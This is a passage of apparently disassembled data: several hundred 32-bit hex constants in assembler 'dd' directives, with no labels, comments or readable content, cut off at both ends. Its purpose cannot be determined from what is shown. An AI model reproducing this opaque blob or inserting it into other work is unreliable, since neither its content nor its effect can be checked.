0FF2C707Bh, 0C8914808h, 2D6D280Ch, 4F446529h, 2488441Bh dd 44559044h, 2284C92Bh, 41E17CA3h, 1227C728h, 233C82FDh dd 43C257Eh, 4A365B28h, 12081421h, 9D389083h, 15213451h dd 9086BB08h, 32308454h, 65423948h, 84702E84h, 2D48316Fh dd 2F8B1442h, 3B919C10h, 22005122h, 5DC75620h, 59B92F4h dd 55CE8994h, 11CB81CBh, 0E8F52044h, 806BDB3Bh, 5EABFCB5h dd 232FFh, 426AEE97h, 0B1642CD9h, 0AFCE5600h, 0FA1A9D30h dd 1F79814h, 6DAD943Ch, 0D25489ECh, 60F126C0h, 15446400h dd 0ACBC2E45h, 0CD740705h, 505219A7h, 0C9149FB1h, 9176C800h dd 4926410Dh, 0B34737CBh, 48CE30B6h, 533CB50Ah, 803E002Ch dd 8FF92B12h, 0B4363091h, 3AE78E19h, 0A38B7000h, 6583F87Eh dd 0F77C30D5h, 3FBA0B21h, 0B1891800h, 0D6F6F860h, 0CCB868h dd 79EB5A0Fh, 7C050D36h, 4429B602h, 481D3121h, 0AC504Ch dd 0A90F953Ch, 9139A79h, 2FA08A00h, 0CB7A644Eh, 8EFEAEh dd 16BBA51Ch, 1477B85Bh, 39BDFA30h, 18171E2Eh, 1876EF99h dd 971DB6C8h, 30426E28h, 48C20B5Ah, 0F709AE98h, 1D720AF0h dd 4FFF8FD9h, 1B80AB70h, 0CB94ECE5h, 788DCCFFh, 65CEBF00h dd 54E75734h, 9EC600DAh, 4D06B95Fh, 0F400289Ch, 0B07EE351h dd 752502CAh, 8DFD008Ch, 343929F0h, 0A260D872h, 58F96328h dd 0B7B80152h, 91C992EFh, 5B5083DBh, 0C8133EAFh, 0CB299Bh dd 14305119h, 1528A594h, 0A07D58h, 96220360h, 3E34F33Fh dd 66006258h, 4124778Dh, 0E30E92C5h, 0C0AE754Eh, 520CBD3Fh dd 0E54A0020h, 1FA90156h, 9400221Eh, 0ABB36D38h, 8309D2h dd 555A519h, 1676B90Ah, 0F781C207h, 33B0FE67h, 0E9353Ah dd 0D06BF578h, 6C638ADCh, 7B091A1Eh, 9D15C780h, 0F5CFE4Bh dd 8521A3D2h, 0C6FFAA0h, 0E1395084h, 9CD392EEh, 55B46005h dd 0FB9EF203h, 73B2A868h, 0E6820023h, 2409FE08h, 30019333h dd 89E86F0Bh, 0FDE476FCh, 118F001Ah, 7EB3ADA1h, 472499D9h dd 0ED804819h, 0C87AA627h, 0BF82014Ah, 61EA08BEh, 0B253F00Ch dd 0F55E0300h, 977B6893h, 870D00AAh, 7D79361Ah, 0A2478EFh dd 43604073h, 0FC015Fh, 7BDD48A7h, 0C1230356h, 0D5544200h dd 275E042Fh, 3A4D00F4h, 0AD86C283h, 6B006557h, 95125F02h dd 60C867E5h, 0EDFE16D8h, 0C7001D39h, 6650518Bh, 46E4F7h dd 0D5CAA635h, 37952574h, 8F006FF8h, 0BDB66CF8h, 16286BB2h dd 6723C0h, 0DEADEF66h, 6900FD34h, 94BD722h, 48A95DE1h dd 0CA2EC860h, 438F02E1h, 8FE0760Dh, 94A01B3Ch, 0B6073296h dd 1678654Fh, 8C6E5440h, 97B100F0h, 0DEC32305h, 190027DCh dd 3E66C0CBh, 1263BE39h, 85445h, 0AB65DB94h, 6C2D0C8Dh dd 0E30A80EEh, 215B133h, 49FA7791h, 0DB80ADC8h, 0BAACD47Dh dd 286EB30Ah, 6309CD72h, 89A8200Ah, 778C2ABh, 19D05409h dd 86E85075h, 70059D3h, 71609D8Fh, 0F6030CB7h, 0B3530054h dd 9288125Bh, 0A600A16Fh, 2FBABE9Bh, 0EAD2A4h, 37252D08h dd 3F26079Dh, 3B659800h, 3EF429A0h, 4B4900F6h, 0D4D86EE3h dd 91002127h, 6A157110h, 0F47DEA0h, 0C481C889h, 183E32E1h dd 0B898DC51h, 0D6707100h, 0D93FCF2Ch, 78B324D1h, 286900C8h dd 1768857Fh, 80E2243Eh, 9A0C08F5h, 2C0DEAh, 0C4809EC5h dd 0E93385A3h, 8FC8F800h, 0CC4243FAh, 1E3F75D0h, 0C0516AAEh dd 0B8763E7Bh, 0F3002E19h, 0A8C01CFFh, 66D52Ch, 8B4539F6h dd 7F44853Eh, 6B51C101h, 0AA3643A2h, 66BA91FBh, 13B9A8F3h dd 3E90088h, 5191E75Fh, 4001DFCh, 1EB1EE2Bh, 17C6E29Eh dd 2815E76h, 7183D816h, 3EB800E3h, 6B703FA2h, 0D4877A00h dd 0FBE20C7h, 81CC4F4Dh, 0CC614334h, 3E00D9A2h, 0FA6F4A3Ch dd 688377h, 21BBAF8Ch, 0A7F3E457h, 7325C8FCh, 437403Dh dd 0EED4A095h, 1CB1EAE9h, 5FAF4F7Ch, 870A619h, 2D013E9Fh dd 769CE83Ch, 0CAA9C8h, 1C1805C1h, 79975CB4h, 0CB368C00h dd 0B634292Fh, 0F45F04Ch, 70FC18CEh, 2AD50180h, 8B07DF31h dd 59CC68DCh, 6AB23D70h, 20DE176Fh, 45784F5Bh, 47EE6560h dd 0EF3126FCh, 396EE232h, 1D80C820h, 804BB534h, 0D3372BADh dd 0C202CEA6h, 255BED49h, 20BC41C5h, 1C057AD4h, 5D87084Fh dd 238EC01Bh, 0BCFB732Dh, 15EB0700h, 77CF81FAh, 0A9C70074h dd 3D88160Fh, 8E00AFB5h, 980159BBh, 0CE31A35Eh, 0B806D98h dd 57169C34h, 0EA87681Dh, 0BB79E503h, 3FB5E9F0h, 983A9EE4h dd 55020080h, 0E40D66DBh, 5A00BEFBh, 9C816545h, 3F26EF09h dd 0CC006D5Eh, 0B27120A3h, 2E70FA4Ch, 13009B7Ah, 1D792B58h dd 3EA77DCh, 8C7BF1F9h, 0FEE0024Eh, 9907E314h, 108A4928h dd 6D6B8710h, 748C0167h, 0A99555EEh, 3AD6E8DFh, 6970A2E2h dd 80F84238h, 3B02A578h, 3AD29F48h, 279124Eh, 83D7500Fh dd 28C0A461h, 0DF00B86Ah, 186265B0h, 0E211D03h, 0CB52DC41h dd 878B9220h, 631C5102h, 85806F0Dh, 0BA78D153h, 0BD29006Bh dd 0E357C2F1h, 0E804182Ch, 0A6983877h, 343D9C00h, 0A958CD7Bh dd 834317B0h, 0EA79000h, 6C4A3Eh, 0CA44E9F6h, 5E1BDD9Dh dd 57112600h, 36301CF1h, 0D7350058h, 0EDEC64BAh, 742EC073h dd 8F1FD517h, 98F65E80h, 26FBC1E0h, 1B4D160h, 468B09B5h dd 3CFDD423h, 0E07DCC0Fh, 72F1A08Ch, 7970FEh, 0B82AEED2h dd 0FA9CB206h, 13D44E00h, 1611AB4h, 48CF64Ch, 453E7882h dd 6FC88083h, 48002AF7h, 8FEEBBD2h, 0E77E1Ch, 0B4465605h dd 4CD68D3Dh, 5B3E6900h, 5044F680h, 0BFB20057h, 0F78411CBh dd 0E00E8F1h, 932F342Dh, 227BB31h, 0D996C2Ah, 8220A4DDh dd 0EE7972CEh, 2454B8B7h, 1B80685h, 0CC2A8F1h, 0FA2A30AEh dd 0DCCA5Ch, 6B8B0A15h, 11A70Fh, 7CD959D7h, 0D066543Eh dd 0FD8FCF16h, 0A6C9400h, 63E799h, 573B46B8h, 2B1BE2D5h dd 0D3587490h, 67FD01F8h, 0CC7173AEh, 5B75C8h, 0ABD414D5h dd 0FF24799Fh, 0F08EC300h, 2C1B1519h, 62C21F40h, 148240Ch dd 971DC93Bh, 0A44AC04Bh, 0D4F2E801h, 0E9023573h, 9542F881h dd 206027E2h, 900050Ch, 0BA3F538Fh, 36C3618h, 10D10C42h dd 73984A56h, 3C00EA74h, 78E7CEEh, 5C81FD6h, 153428A7h dd 0C2C90062h, 86AAE65Eh, 0BA041902h, 0E0D3B9AFh, 2301214h dd 0C44DD785h, 0FD606BC2h, 0FB0065FEh, 35212D40h, 0F9A41Fh dd 0A5017ACBh, 0AF58DBECh, 0C7326101h, 9729A1Eh, 6A1D4E4h dd 26DF9E86h, 400B890h, 0E8305DEBh, 1EA45A79h, 0C0A5562Ch dd 72828391h, 0ED01A3F3h, 0EE73E8B7h, 0C040C433h, 2F9C30Fh dd 47C65487h, 968577F3h, 0A5D40026h, 0D6AA1EDCh, 0C82A5328h dd 0B098E548h, 0E5B94965h, 0A5409Fh, 0AF484CB4h, 2D092093h dd 809FAA59h, 0DF718F44h, 8BC11262h, 69300221h, 0E8E0B65Ah dd 14E4BD7Dh, 4E228000h, 84A9415Eh, 6B8FAh, 55CE6907h dd 94E36D3Bh, 0ED4E451Eh, 76018BDEh, 2EF0CB93h, 309CC1E8h dd 39A83734h, 24001D5Bh, 6257A585h, 87E248h, 0C46B1BA9h dd 3D3BD8D2h, 0C64A4B01h, 8A11B7B9h, 88607AC9h, 0A1450128h dd 78CC803Ah, 632DE875h, 7DC6F50Eh, 617C008Eh, 1ECD6E08h dd 80BA2C3Dh, 21D3A02Bh, 470F982Eh, 0CBF45195h, 348E0071h dd 0DF1DA4CEh, 5878806Ah, 3CF6E849h, 64913300h, 44B976C1h dd 0C18001Fh, 0C527285Fh dd 0D50256BCh, 0ED25D9FEh, 0B84CE311h, 905A4B6h, 0D8DE6063h dd 0B9852820h, 0DC9010D5h, 5C20F026h, 0B3C57000h, 7F48B14h dd 0C494F258h, 309620A6h, 0DA01FB17h, 0AEA971F7h, 0D440AAB5h dd 4A2F65D8h, 0E4B4009Fh, 0DC94DAB0h, 0E7A8B900h, 0F1366675h dd 6FC8F904h, 0E4C6004Ch, 0F2974062h, 6100877Eh, 78FECEF5h dd 925CD0Ch, 7A70D741h, 44808000h, 92883A52h, 540700B0h dd 0EA405ACEh, 88031945h, 0B3C07BE4h, 2A9C90BAh, 4B7A78h dd 5B6E2597h, 0B0E250CEh, 19953100h, 53DB7FCAh, 1EF10423h dd 0A7A060h, 2FDC6584h, 574912E8h, 0D5C480F9h, 1200E392h dd 384CF75Ch, 5106918h, 3936547Ch, 6290C09Eh, 7513D84Eh dd 4004237Ah, 742DB6Eh, 7848DE7Bh, 0BA058556h, 2158A20Dh dd 0A740B400h, 0AD78CDh, 0AAF496A4h, 3E56BBD4h, 6709A600h dd 0C2324731h, 9D340536h, 801BBE3Dh, 8A7D6F88h, 0AE4C4960h dd 0E09E19D0h, 0D5410E11h, 409853B9h, 2D00EC61h, 148281B1h dd 3B0E762h, 337D0716h, 6E8E0B7h, 640C182Fh, 0B035BF34h dd 9766018Dh, 0C3A202A6h, 0D2DC4DDh, 0F69F1B00h, 0B82B4C70h dd 0CFB1038Eh, 0A43A2441h, 74FC9DF9h, 3E3C99E4h, 0EAED8C0h dd 64EB95E8h, 7C80D969h, 4F3C884h, 179FF505h, 2B10C03Fh dd 0BB07425Dh, 97F411A1h, 5FD1A5F0h, 2B22809Ah, 14100C1Ch dd 20292DCBh, 1E7CDD20h, 658D0349h, 6C669FEBh, 0CFB37FD0h dd 0E5A0E909h, 605482C6h, 38D05Bh, 30FF63CEh, 0E84E6CC9h dd 92515300h, 33A6C315h, 2FB72C0Dh, 7543802Ch, 17CACEB5h dd 9CE72C02h, 0C0674A57h, 0FCD09EACh, 8F0805ADh, 80BA8E95h dd 0E929F9A7h, 90CAA00h, 34B5850Ah, 73E784Dh, 787EBA7Ch dd 650EF33Bh, 31A0EAE0h, 3D103A60h, 44462D6Ch, 860025A7h dd 907762E6h, 70112D1h, 17BBBFCAh, 2C690084h, 7813EE27h dd 1882A6D7h, 1DC447Dh, 644257FFh, 20C8EB80h, 330C47AEh dd 0D940DD37h, 0DF1B0065h, 612D7468h, 180919CBh, 0C049851Fh dd 6600D64h, 0C0DDC4C7h, 0C300905Fh, 0A16E248Fh, 3278EF7Bh dd 89799583h, 8200B052h, 77DA73D9h, 2A461Fh, 18B5E087h dd 5078E829h, 90E15F2Ch, 849C2F00h, 39EF66CBh, 3CF85456h dd 250052AAh, 0FC878EB7h, 8F00AC0Dh, 69A972CCh, 1A14B22h dd 4AC48CAAh, 0CCDDDE01h, 0B8002804h, 8E9AC56Ah, 7ED7A10h dd 0CE748A56h, 5004E7DAh, 154767FAh, 69318F00h, 0FE5B7F07h dd 4FC1007Ch, 8A068CBBh, 1C09AB6Ah, 7EC4E5h, 0AA75EF10h dd 3B5000C7h, 0FC9C0EA5h, 0AE7A8564h, 2BE3509h, 0A6680040h dd 0B27701D8h, 3F310400h, 0B0039119h, 0AD018E4Ch, 0B112D0B5h dd 50602335h, 5C8D1F19h, 8CEF06B9h, 4C003CFAh, 8BE39780h dd 281699B3h, 98DBBCA2h, 873600BCh, 0AA93815h, 0F8001759h dd 942716E1h, 3E70Fh, 0F941AE70h, 1929E576h, 0BBA2F406h dd 39C8753Bh, 0EE0B85F3h, 9C836826h, 9FA03453h, 0B4009BCAh dd 7BF83A23h, 9020178Dh, 0E3FB00B0h, 4F9FD0B7h, 6B0159C5h dd 1D538E98h, 0C3EBC24Eh, 0E0E6C078h, 237300A1h, 27EF983Bh dd 70C377D6h, 0E820A81Bh, 30045288h, 0ED306712h, 4309FAA0h dd 2080ECD4h, 3BAEFE40h, 0D0244809h, 926A3400h, 0C58C0B55h dd 1B4514Dh, 0FEE3E02Eh, 3C2C0EC3h, 0BED1ED00h, 0DAB183B7h dd 24F14E26h, 2FE65A07h, 2A802E00h, 19A960BCh, 5061023Eh dd 0ACF63328h, 9D122D00h, 6D644D56h, 0AB9C0977h, 6CC05819h dd 73008633h, 0B1DF1810h, 75A3CF15h, 0E7900543h, 80D0CBAAh dd 0CD531D50h, 4435242Ch, 8A1C7801h, 5E00DF7Dh, 940099FFh dd 5704B189h, 5424501h, 770C4710h, 0B5E8A0FDh, 54511600h dd 8C0F29E8h, 5E6F0024h, 0BF665605h, 0F4F69F3Dh, 0EC5BC405h dd 4480A874h, 0FC08F958h, 72EA0194h, 1E198BF7h, 302F212Fh dd 7F0099E4h, 0CD8FEDA9h, 0A564B6h, 0BDD19E38h, 0D57D3306h dd 0C407AC00h, 50324E8Fh, 0CDF9001Eh, 1CB8D26Fh, 4F00529Fh dd 72F0C041h, 0C3D738E2h, 3CAD68D0h, 9CFD1DF8h, 130EC800h dd 4C2082D2h, 3D67EC2h, 29A44608h, 0DD81866Ch, 4E84308Dh dd 0C1870204h, 80AF4Ah, 0EED0F95Dh, 98FE0E8h, 76819EEFh dd 80111804h, 9F065B50h, 0A8264B07h, 60EB87CAh, 903AACh dd 0B512A5FBh, 83CB35E6h, 516ED801h, 5D0F4110h, 5F6001F3h dd 0D98D1AB0h, 8F10BD8Bh, 3F396549h, 7AD18239h, 0F8F1BBCCh dd 0F0A4A40h, 1480E668h, 9B3AF770h, 3490DE00h, 0A73FC4D6h dd 3DB1385h, 8C5030CAh, 0F5F05073h, 0ADC84700h, 0EE3FDC32h dd 0B3530086h, 5D74F0BEh, 30014E18h, 8AFA6C4Dh, 0B5D3903Dh dd 8E7FF180h, 7E07000Eh, 4E942B8Ch, 0CF00853Fh, 0EEB7A9B4h dd 701B05E8h, 8CC5176Eh, 8DFC0020h, 0A4F2064Ah, 14D0213Ah dd 0CCDDC2h, 0AF7D180Ah, 0BACD85h, 0F686BCA3h, 6428F37Ch dd 7543959h, 196D02F1h, 70D0A527h, 3D59D7h, 4A9206BFh dd 0B9CC43E1h, 92967E3Eh, 3400AA39h, 3055E33Ch, 13B0B6EBh dd 0C04B04D3h, 0D8B3A7h, 191BD973h, 1F5ED462h, 26EDA8Ch dd 87BE3357h, 42DDE8A0h, 1901F048h, 417D312Eh, 4C70492Dh dd 3D79D3h, 0EE4D2961h, 0B81C0E63h, 95DD0500h, 53A7ABDAh dd 9D780DF8h, 44F0D63Ch, 0FA1C881Ah, 0B7C80406h, 7B610A52h dd 1B9900F3h, 53CEF5BAh, 7A005FAFh, 71EF9740h, 6E6832h dd 0C4DDCAA0h, 908C7382h, 0C224E003h, 0B38D4D1Eh, 0AB4F88D8h dd 6C7900E3h, 771296E9h, 0EE000476h, 0E4A671E6h, 0A19878Ch dd 86534783h, 0C75680C4h, 9EC26CB1h, 0F92FFC00h, 40283A4Dh dd 0FE6F0014h, 8DD1D368h, 4C12390Eh, 0C20060D0h, 0FD7126ECh dd 0B4DE0F5Eh, 817E8735h, 6CA453BCh, 70C4406Eh, 0BC960111h dd 4AAE219Ch, 5D609D00h, 0DD9E78h, 0E18329B2h, 0C7259DCh dd 73003BFCh, 61AF4E8Bh, 4D70567Ch, 0EA00A41Eh, 81F691B4h dd 7D00FD9Fh, 28BA0A86h, 0BD9D558h, 0A5C96AC6h, 0B1CD0000h dd 6E5D18F7h, 84670094h, 30905CD2h, 0E74000CEh, 758F7B6Fh dd 89795928h, 6122401h, 1A9180B8h, 8B22470h, 4FE62CC4h dd 0D2F6BB00h, 4DE71F1h, 0BAD1625Eh, 330CD0AAh, 5F07A41Fh dd 0A2412119h, 5C6D2250h, 597700EDh, 3D5BFA14h, 133854E3h dd 20F22602h, 90689488h, 3FDD85EBh, 76364D0h, 32C0090h dd 24545EA9h, 0D00C9FD1h, 7865DB8Fh, 57E01E58h, 0A74C00FDh dd 1FAD9486h, 93DD8C00h, 32B682CFh, 180C049h, 0EDDB0805h dd 55059874h, 0B07B2E78h, 9AC880C1h, 0CB94A11h, 6DFF00A6h dd 6F51DB7Ch, 7D07F3E2h, 9809B3D7h, 8C44E190h, 0BC54393Bh dd 4AE7A600h, 552A77D5h, 0C5F45F09h, 0D2348048h, 0B89BE351h dd 0C71B00DCh, 0FC0D499Dh, 8400AB19h, 3771BACFh, 755A61Fh dd 0DB896D54h, 57804053h, 9307B2BCh, 7BB1334Eh, 8B95FA00h dd 0C1EC3Eh, 469F798Ch, 3216A008h, 8367253Fh, 0B65F8A6Ch dd 0F3B3A7D9h, 1D77E80Ah, 151824BFh, 911706F4h, 0AB4F20EEh dd 98401C1Fh, 0D541FF7Ch, 853600A0h, 4CCDF80Bh, 0F90768B1h dd 675DE875h, 9EFB61D0h, 0A1981ECFh, 0E2081D6h, 305ADDE4h dd 4D093908h, 0A7D38757h, 0CFE21C50h, 0D8F84B86h, 1815AF2Fh dd 646E2396h, 4899B650h, 165362h, 8C6E083Fh, 4514380Fh dd 40D04FBEh, 0F3BB295Ah, 0DE5C0036h, 421A46A7h, 4F6FBD2Fh dd 2205C139h, 0E4E0357Dh, 0CEB8009Ch, 0D0119FB5h, 0F7482164h dd 78BE0290h, 0C0B29252h dd 0BCA6A8D8h, 46A2C02Ch, 5F581E94h, 180102C6h, 0C2BED30Ch dd 3CF050C9h, 1A25CE17h, 2F97A060h, 84564328h, 4122BC00h dd 4DC27247h, 1EB97B66h, 1C69769Dh, 0E30D40A0h, 72CD9AFBh dd 6AFAE1Fh, 8535CC0h, 7EE4C08Eh, 0FFF7050Ch, 0C14F818Ah dd 0D8CB3EFEh, 7AEA1A30h, 269F8C00h, 4908047h, 0BA2A00D7h dd 6877F988h, 6B250CE0h, 0F458A215h, 6F0A1CBh, 0EDC43ED6h dd 35F4A6h, 314F8066h, 85C0B96h, 278C5A01h, 0A740E5F6h dd 0C541CCh, 70C25E72h, 0B8367DCEh, 28862300h, 0F251DD68h dd 9C2F482Bh, 7200813Bh, 0BCBE2D52h, 7A0011CBh, 43E307C9h dd 79BF3B2Ch, 6D73D3h, 0F84D035Dh, 8E1059F2h, 0E2B02A00h dd 0A6CB2302h, 77DC02C0h, 0C15D0C97h, 0A428FCE0h, 6E09E907h dd 2EF0DBCDh, 9E476B83h, 0A6B30298h, 3048C70Dh, 2EF2AC95h dd 25BE4600h, 0EBC36904h, 5C4E0051h, 7658455Bh, 0A40E4418h dd 8AF448h, 43D1D239h, 21423DE4h, 0F3B7A780h, 59D6411Ch dd 0EF96C216h, 1DB2CF07h, 576CD3B0h, 23B704D5h, 0C0DCBC85h dd 0A39A9C28h, 112548BAh, 4B306131h, 7E19AFE8h, 0A6D0009Fh dd 33441408h, 0DA0012FDh, 0EE9DB28Dh, 2677CA66h, 7B064F2h dd 201ABF06h, 73F39231h, 45A0A109h, 0E2BC5001h, 1FF200FDh dd 8C670EAAh, 0C57FCD62h, 0F0384D1Fh, 0E0E3F100h, 1ECD8E9h dd 80E8D737h, 30C7210Ah, 180058FCh, 0AB984D9Dh, 0D91419h dd 0FA151A39h, 4EDAC73Fh, 20787C25h, 0AA4A27C0h, 19C981Eh dd 0F9D991AFh, 2012389Eh, 497C0B0h, 90D00570h, 9902B3h dd 32AE6648h, 9653C008h, 3BEED47Fh, 3E28AC0Fh, 2C6981h dd 889EA4BCh, 0CA2B0327h, 0B546D6D1h, 0E73A80ADh, 8C00C3BAh dd 65E20EFAh, 5CB321h, 68A53539h, 32FB5859h, 60664C00h dd 8E9B19BDh, 0E3BC1C2Eh, 27DE001Dh, 620E1D4h, 0E589D8C0h dd 1670401h, 56A864F5h, 40B084EDh, 0B6E0E1A0h, 0CD407E09h dd 6D928735h, 5A0F2020h, 24334D77h, 8941905h, 8DBA80F4h dd 0F2500203h, 592C3FF0h, 0D383C807h, 82A0D19Ch, 285C34h dd 89118BF0h, 0D4017082h, 0F8F3A90Fh, 0DA605013h, 36B7C51h dd 0EA8E04Bh, 40C02F72h, 44B0FA05h, 0D74C3E10h, 7DFEE420h dd 0D9064316h, 0CC1B00FAh, 0C12B6AB2h, 4FA048h, 25D0977Fh dd 201853h, 45CBA952h, 0DD81EF3Fh, 0F429140Eh, 23FEA25Bh dd 7F7C404Bh, 0A9F23833h, 40786C18h, 2800A165h, 68DD24C3h dd 0FEC64BBh, 59C91A14h, 0AFE35C07h, 0E38066E9h, 0E85369D4h dd 624C1AFAh, 0B71604ACh, 0CCAC8AE7h, 15292600h, 0DA4448A6h dd 32051200h, 0FD348673h, 98C500C1h, 2DFB8D8Eh, 0AF000ADDh dd 2851A945h, 20D587Fh, 62E65565h, 0F6E08FE1h, 7A586107h dd 967B0074h, 0B854274Ah, 0DC7997h, 0C8E393DBh, 2F060CFAh dd 79DD5209h, 0C9C42024h, 2E141A2Ah, 0F3F592h, 99B1B258h dd 0F4267BEBh, 2D00B102h, 0A8961A34h, 0BB2101C7h, 0F3F98A06h dd 4C6AEE58h, 1825F080h, 0A526735Dh, 0F00148C3h, 6F09916Ch dd 34BC002Bh, 3E04DCF8h, 15024005h, 800F3142h, 0A08CEF1Eh dd 92CBFD51h, 87E89E67h, 9066A5E6h, 243CB41Bh, 262E0F79h dd 0A8007845h, 0D8D5FCBEh, 3C549043h, 0A50987DBh, 100497A9h dd 0C8C1229Bh, 5CCE959Ch, 7901A5h, 3686315h, 0C45DF94Eh dd 80345839h, 41CEF66Ah, 4C3BC6ECh, 16019C14h, 9C1B3F7Ah dd 25109E1Dh, 6237BF45h, 7D4B58C1h, 497DBD4h, 7B01B031h dd 89F7C042h, 66075311h, 9C7294Fh, 0AB3F52A0h, 37FC125Eh dd 0EEC90377h, 70EF3558h, 11C299B7h, 8F95C47Bh, 0E0BA8E68h dd 630FF58Dh, 303E0067h, 0C6CF54ACh, 0E0016C2Bh, 0C03D5395h dd 13E8C16Bh, 234E001Bh, 499F1FC2h, 261E47F8h, 0F6419AC4h dd 44BFA7Dh, 1CD1B460h, 0C30C6D86h, 1C52AA19h, 7A38B094h dd 0A0AFA804h, 1CBC92B5h, 0C835138h, 829BF8E3h, 41D2B790h dd 7F3D3300h, 0A12254DCh, 628A0708h, 0F0018DF9h, 0E83CF350h dd 9667B83Eh, 0F8007068h, 31250D6Ch, 584813EBh, 0D2084B06h dd 3E10F403h, 0D40A1100h, 5AA40429h, 9805A26h, 6000CCE0h dd 0E542F032h, 0E8058A01h, 5335655Fh, 0C056E0h, 0A33B25B8h dd 542B7416h, 93333D3Dh, 0B500AF65h, 0F6251896h, 0B4CB0403h dd 0B92A664Fh, 857E007Ch, 7DC65CADh, 42CB01Eh, 426B2553h dd 0E794F0CAh, 0E9340A00h, 0E85041AAh, 0C15A00AFh, 28D50766h dd 0D0093CFh, 8436EE10h, 2C8D8364h, 0A8AADEh, 79A0019Dh dd 62015AB3h, 671D2B75h, 4BFC7035h, 56230C2Dh, 0A31034DEh dd 1FD5A503h, 0DDB720AEh, 12659C03h, 62313C9Eh, 0B2C7158Fh dd 0D5D380FEh, 3E4C2C1h, 0EF466A00h, 5C0810AEh, 0F77001Ch dd 53D451B3h, 0B9006238h, 0DD065A88h, 0ED3B29Fh, 23540515h dd 0CC8E4EC0h, 70003C9Dh, 5E4AAC56h, 1A888C5h, 22524813h dd 70B7B307h, 90002371h, 531E5033h, 0F3D8115h, 6529FB36h dd 9DB878E0h, 0C018EC22h, 0BC41EB21h, 904A583Ch, 79FBF700h dd 7E42881Eh, 0EA9D2800h, 0AD63D6E7h, 43C80F84h, 18A01AF4h dd 0B2032A09h, 0F25AB01Ch, 0CE1F02C0h, 0E58EC86h, 772A2BEh dd 0AE001CCEh, 9B3B7F8Ah, 0F2652600h, 0CC159063h, 0F82C389Ch dd 0F5FD3EFBh, 0D0807BBAh, 914749AFh, 8008993h, 0E0C506B2h dd 76FED9Eh, 755C55ECh, 5001B088h, 5E00A431h, 0A0025712h dd 0C1E9CFh, 368CCE35h, 6E4421EDh, 89B938h, 2D3BFF91h dd 4F736Bh, 36F8EE3Ch, 6C1E9564h, 0B32BF000h, 41BE3028h dd 0A405019Fh, 1FF92DDDh, 0E1E0C223h, 0D8FA32EDh, 0C7BCAF00h dd 6DE13368h, 35D902D7h, 69B405D4h, 0A1D060C0h, 8504931Ch dd 58DFC080h, 2C6596E2h, 2330584h, 1CB1E3ABh, 7404B45Eh dd 90BC754Eh, 240CC04Ah, 97011A2Dh, 40AB1E2Fh, 0A3CC2EA6h dd 434500C9h, 0F086BCF9h, 0BE016EC8h, 0CA5016DFh, 1AFC7B98h dd 7E8E675h, 0D795665Ch, 10AF906Ch, 0B10B4A79h, 0A074EFE2h dd 2F21F600h, 724D035Dh, 66247C06h, 1308180Fh, 0BE9D030Eh dd 7B103C61h, 514E0C00h, 845D90DEh, 0F97C30F6h, 0BD98B23Eh dd 47EF0015h, 0E66411AFh, 0F5E3002Eh, 0DE1F2D89h, 2F0020A0h dd 3F4A9057h, 0EA97241Eh, 323E1F21h, 65A000FDh, 677A769Ch dd 806F6A3Bh, 62B61A94h, 0BE357Bh, 51FE4BBAh, 0EEE1725Dh dd 98487409h, 0D7FCC0DCh, 0B5473A9Fh, 159E0F03h, 82CB3188h dd 0B013582Ah, 0A8A29900h, 600E1AFBh, 0C637473h, 2DD2E16Ch dd 4B001620h, 0E5111406h, 730AAEAAh, 1978003Ah, 7080D56Fh dd 1B00B0EDh, 2CB5F6FFh, 34A2F62h, 96288C25h, 0F0F7E068h dd 89E9AD35h, 80885C3Ah, 518D435Fh, 370155h, 877A123Ch dd 78F3F1E9h, 476AD41Ch, 45764180h, 3192CAh, 0B6CE210Fh dd 5A894AEEh, 4F3FEF12h, 9E370400h, 0D13065h, 0C85B85FFh dd 2022DEF9h, 5240B000h, 27C7F028h, 1E5A3C65h, 6A548707h dd 84617017h, 0AB005D40h, 0F8CBED33h, 0E6992BD0h, 75571F8Ah dd 3E34056Fh, 0AD845437h, 0CA085A00h, 9881A3D1h, 0DB4AC024h dd 9EEF3000h, 1861F7h, 5F8EA294h, 0D6AA097h, 0FF621709h dd 0C12C207Ch, 5F0AF68h, 5F1B5AB6h, 0EF36C013h, 3D607828h dd 75FA4768h, 14F2E816h, 403F0C6Ch, 368FD60Bh, 4551D03h dd 6E809DD8h, 77F8CD02h, 0E0E36273h, 427D3DEh, 4B4913D7h dd 60B0F0BBh, 47E1BA0Fh, 5EFC62D5h, 0DCF4C055h, 43F26Ch dd 0BEC6616Bh, 0D4E16DC7h dd 77A6F901h, 0F7C9A802h, 3ACFAE0h, 0D8E363CBh, 4BC8AE4Ch dd 20921AA9h, 93D14E00h, 97CB3F95h, 31A100C1h, 0CC660996h dd 627BC854h, 139E2902h, 0A07B5635h, 2536E084h, 1CFAA5h dd 1D77DBE1h, 16722FAFh, 560FE500h, 3A5946A9h, 0A0BF0A22h dd 0E1841Fh, 0FEAA8AF6h, 9DB8AFBBh, 3841F909h, 2F18B43h dd 0DD2B038Ch, 918D2300h, 6AE83A9Eh, 7C4ED500h, 0B58958F0h dd 41BC3C82h, 0F280D000h, 305D2E74h, 0CABA5F00h, 73CB2B0Bh dd 9FBC0035h, 802A50AEh, 0A53C4DD2h, 9AC88014h, 0A13EAA7Ch dd 0BE8500D4h, 5773BF51h, 0B23B8880h, 0A36D8048h, 0E06FB1CDh dd 0BE8A075Ah, 0A0A78BAAh, 4D9C726Bh, 0BA57DD03h, 0C0C2C077h dd 11544Eh, 2BE0E247h, 164C639Bh, 0B3805A02h, 8FBE9E1Ah dd 0AF049480h, 11B86B18h, 0BA076CB7h, 5D74299Eh, 174BA00Fh dd 77A547C0h, 0E6AB01B4h, 2AB76499h, 492990BDh, 0A2FFB282h dd 22207F04h, 45819FDFh, 0FC440E08h, 83328493h, 103151D0h dd 0E789FD42h, 0CF628C08h, 27010D29h, 0BB900891h, 48D20C84h dd 9B442F9h, 0C921CF24h, 10F512D6h, 0F1C4F416h, 3900FD23h dd 742C8662h, 0E042B500h, 67EDE1C8h, 0B3FA44h, 58878A52h dd 0D414F6EAh, 0F015000h, 0F869907Ch, 0E7F50044h, 2A2CEBA0h dd 0D5F0857Dh, 0B7B0E602h, 6018F607h, 12AF0B16h, 966A83h dd 3864740Ah, 24000239h, 3F18EE48h, 0A0BA3Dh, 9A32058Dh dd 0D2966629h, 7A40C538h, 9725Ch, 0F30CF4F9h, 0E2685Bh dd 4F04D297h, 0B119CB55h, 0D3492C0Eh, 80BEFDEEh, 0E31F0D22h dd 183D2A1Ch, 1006A22Fh, 0CA0883B6h, 1014A17h, 0A4BB027Eh dd 0CB29D018h, 657B8509h, 6C2021C2h, 6D304FC0h, 5A910192h dd 5B3442EEh, 0C4FCDC86h, 3E71CD07h, 